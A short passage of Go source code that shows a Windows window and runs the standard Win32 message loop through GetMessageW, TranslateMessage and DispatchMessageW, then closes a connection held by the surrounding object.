procShowWindow.Call(hwnd, uintptr(swShow))
procUpdateWindow.Call(hwnd)
var m msgT
for {
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
if int32(ret) <= 0 {
break
}
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
}
_ = a.conn.Close()
}